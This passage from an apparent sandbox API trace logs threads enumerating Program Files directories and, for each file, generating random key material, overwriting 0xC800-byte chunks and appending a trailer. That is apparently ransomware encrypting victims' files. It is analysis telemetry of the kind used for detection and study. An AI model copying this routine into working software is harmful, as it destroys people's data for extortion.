out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0051.945] wcscat (in: _Dest=0x12e29aa8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0051.945] wcscat (in: _Dest=0x12e29aa8, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*" [0051.945] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e05490 [0051.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x12e05490 | out: lpFindFileData=0x12e05490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ba8 [0051.945] wcscmp (_String1=".", _String2=".") returned 0 [0051.945] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x12e05490 | out: lpFindFileData=0x12e05490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.945] wcscmp (_String1="..", _String2=".") returned 1 [0051.945] wcscmp (_String1="..", _String2="..") returned 0 [0051.945] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x12e05490 | out: lpFindFileData=0x12e05490*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0051.946] wcscmp (_String1="enu-dsk", _String2=".") returned 1 [0051.946] wcscmp (_String1="enu-dsk", _String2="..") returned 1 [0051.946] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x4eeab8 [0051.946] wcscpy (in: _Dest=0x4eeab8, _Source="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0051.946] wcscat (in: _Dest=0x4eeab8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0051.946] wcscat (in: _Dest=0x4eeab8, _Source="enu-dsk" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0066.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4eeab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf68 [0066.021] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x12e05490 | out: lpFindFileData=0x12e05490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0066.021] wcscmp (_String1="MSTTSFrontendENU.dll", _String2=".") returned 1 [0066.021] wcscmp (_String1="MSTTSFrontendENU.dll", _String2="..") returned 1 [0066.021] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x12e05490 | out: lpFindFileData=0x12e05490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0066.021] wcscmp (_String1="MSTTSLoc.dll.mui", _String2=".") returned 1 [0066.021] wcscmp (_String1="MSTTSLoc.dll.mui", _String2="..") returned 1 [0066.021] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x12e05490 | out: lpFindFileData=0x12e05490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0066.021] FindClose (in: hFindFile=0x409ba8 | out: hFindFile=0x409ba8) returned 1 [0066.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e05490) returned 1 [0066.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e29aa8) returned 1 [0066.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417f20) returned 1 Thread: id = 906 os_tid = 0x1204 [0051.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf")) returned 0x20 [0051.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf", dwFileAttributes=0x20) returned 1 [0060.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1018 [0060.307] GetFileSizeEx (in: hFile=0x1018, lpFileSize=0x135afee4 | out: lpFileSize=0x135afee4*=110551) returned 1 [0060.308] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x1afd3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.308] ReadFile (in: hFile=0x1018, lpBuffer=0x135afe68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x135afe64, lpOverlapped=0x0 | out: lpBuffer=0x135afe68*, lpNumberOfBytesRead=0x135afe64*=0x4, lpOverlapped=0x0) returned 1 [0060.315] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.315] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05750 [0060.315] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d057c8 [0060.316] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435850 [0060.316] NtQuerySystemTime (in: CurrentTime=0x135afe44 | out: CurrentTime=0x135afe44*=132174898243020000) returned 0x0 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x2a3d7720 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x73f2b39 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x2ccb67f4 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x3a5344ac [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0xbb7b6d2 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x1da8747a [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x2586693d [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0xaed1f59 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x5b2449d6 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x409d76ec [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x68318b1f [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x6146d742 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x3d311f7b [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x2dd7984 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x198fa7e5 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0xd457cb3 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x46d66745 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x3bd9ebd9 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x6a27cf2b [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x74166b24 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x3a877069 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x3aaf0434 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x7c5dd97 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x3cf67792 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x5ff7407d [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x204dcf13 [0060.316] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x3d797e39 [0060.317] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x470b3f4a [0060.317] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x627a1859 [0060.317] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x7dcd1d54 [0060.317] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x607612f5 [0060.317] RtlRandomEx (in: Seed=0x135afe50 | out: Seed=0x135afe50) returned 0x1a89e118 [0060.329] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.329] ReadFile (in: hFile=0x1018, lpBuffer=0x12ce0148, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x135afe24, lpOverlapped=0x0 | out: lpBuffer=0x12ce0148*, lpNumberOfBytesRead=0x135afe24*=0xc800, lpOverlapped=0x0) returned 1 [0060.330] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.330] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c678 [0060.330] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43aba0 [0060.330] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05750 [0060.330] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05750) returned 1 [0060.331] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12cec950 [0060.335] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05750 [0060.335] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435850 [0060.335] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435850) returned 1 [0060.335] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aba0) returned 1 [0060.335] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c678) returned 1 [0060.335] WriteFile (in: hFile=0x1018, lpBuffer=0x12cec950*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x135afe24, lpOverlapped=0x0 | out: lpBuffer=0x12cec950*, lpNumberOfBytesWritten=0x135afe24*=0xc800, lpOverlapped=0x0) returned 1 [0066.281] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cec950) returned 1 [0066.281] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12ce0148) returned 1 [0066.281] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3b) returned 0x402cc0 [0066.281] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.281] WriteFile (hFile=0x1018, lpBuffer=0x44b798, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x135afea4, lpOverlapped=0x0) Thread: id = 907 os_tid = 0x1208 [0051.953] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\accessibility.api")) returned 0x20 [0058.110] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api", dwFileAttributes=0x20) returned 1 [0058.111] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\accessibility.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb4 [0058.111] GetFileSizeEx (in: hFile=0xeb4, lpFileSize=0x134ffbc8 | out: lpFileSize=0x134ffbc8*=519267) returned 1 [0058.111] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x7ec5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.111] ReadFile (in: hFile=0xeb4, lpBuffer=0x134ffb4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x134ffb48, lpOverlapped=0x0 | out: lpBuffer=0x134ffb4c*, lpNumberOfBytesRead=0x134ffb48*=0x4, lpOverlapped=0x0) returned 1 [0058.113] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.113] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428de8 [0058.113] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f00 [0058.113] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ed8 [0058.113] NtQuerySystemTime (in: CurrentTime=0x134ffb28 | out: CurrentTime=0x134ffb28*=132174898220868000) returned 0x0 [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x752bde7a [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x3f89a7d5 [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x4fdaf923 [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x3152ad88 [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x5bc09412 [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x5de8c004 [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x4ad742c1 [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x354c412d [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x23ad8ea5 [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x506df289 [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x344b2cad [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x82fcc2d [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x16e0f8ff [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x374268b3 [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x493874d0 [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x1f6b0bba [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x40545f16 [0058.113] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x6df3e994 [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x4aae582f [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x2e9f3958 [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x3577d38e [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x1e4f53b8 [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x7a11502e [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x2218a405 [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x357057b8 [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x21a94c35 [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0xdc867b [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x61916336 [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x46060964 [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x5a07c919 [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x7f87bf9c [0058.114] RtlRandomEx (in: Seed=0x134ffb34 | out: Seed=0x134ffb34) returned 0x51c7caac [0058.125] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.125] ReadFile (in: hFile=0xeb4, lpBuffer=0x194dc850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x134ffae0, lpOverlapped=0x0 | out: lpBuffer=0x194dc850*, lpNumberOfBytesRead=0x134ffae0*=0xc800, lpOverlapped=0x0) returned 1 [0058.146] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.146] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0058.146] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4377d8 [0058.146] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428de8 [0058.146] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428de8) returned 1 [0058.147] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19502068 [0058.155] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428de8 [0058.155] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4295e8 [0058.155] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4295e8) returned 1 [0058.155] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0058.155] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0058.156] WriteFile (in: hFile=0xeb4, lpBuffer=0x19502068*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x134ffae0, lpOverlapped=0x0 | out: lpBuffer=0x19502068*, lpNumberOfBytesWritten=0x134ffae0*=0xc800, lpOverlapped=0x0) returned 1 [0059.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19502068) returned 1 [0059.284] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.284] ReadFile (in: hFile=0xeb4, lpBuffer=0x194dc850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x134ffae0, lpOverlapped=0x0 | out: lpBuffer=0x194dc850*, lpNumberOfBytesRead=0x134ffae0*=0xc800, lpOverlapped=0x0) returned 1 [0059.286] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bf70 [0059.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b1e0 [0059.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf208 [0059.286] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf208) returned 1 [0059.287] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19502068 [0059.287] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf208 [0059.287] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf230 [0059.287] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf230) returned 1 [0059.287] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b1e0) returned 1 [0059.287] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bf70) returned 1 [0059.287] WriteFile (in: hFile=0xeb4, lpBuffer=0x19502068*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x134ffae0, lpOverlapped=0x0 | out: lpBuffer=0x19502068*, lpNumberOfBytesWritten=0x134ffae0*=0xc800, lpOverlapped=0x0) returned 1 [0062.351] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19502068) returned 1 [0062.351] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x72463, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.351] ReadFile (in: hFile=0xeb4, lpBuffer=0x194dc850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x134ffae0, lpOverlapped=0x0 | out: lpBuffer=0x194dc850*, lpNumberOfBytesRead=0x134ffae0*=0xc800, lpOverlapped=0x0) returned 1 [0062.352] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x72463, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402ba0 [0062.352] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4377d8 [0062.353] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8f58 [0062.353] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8f58) returned 1 [0062.353] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19502068 [0062.354] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8f58 [0062.354] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8f30 [0062.354] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8f30) returned 1 [0062.354] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0062.354] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0062.354] WriteFile (in: hFile=0xeb4, lpBuffer=0x19502068*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x134ffae0, lpOverlapped=0x0 | out: lpBuffer=0x19502068*, lpNumberOfBytesWritten=0x134ffae0*=0xc800, lpOverlapped=0x0) returned 1 [0066.246] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19502068) returned 1 [0066.246] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d868 [0066.246] SetFilePointerEx (in: hFile=0xeb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.247] WriteFile (hFile=0xeb4, lpBuffer=0x4452d8, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0x134ffb88, lpOverlapped=0x0) Thread: id = 908 os_tid = 0x120c [0051.954] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e29b38 [0051.954] wcscpy (in: _Dest=0x12e29b38, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" [0051.954] wcscat (in: _Dest=0x12e29b38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\" [0051.954] wcscat (in: _Dest=0x12e29b38, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*" [0051.954] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e04af0 [0051.954] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x12e04af0 | out: lpFindFileData=0x12e04af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, 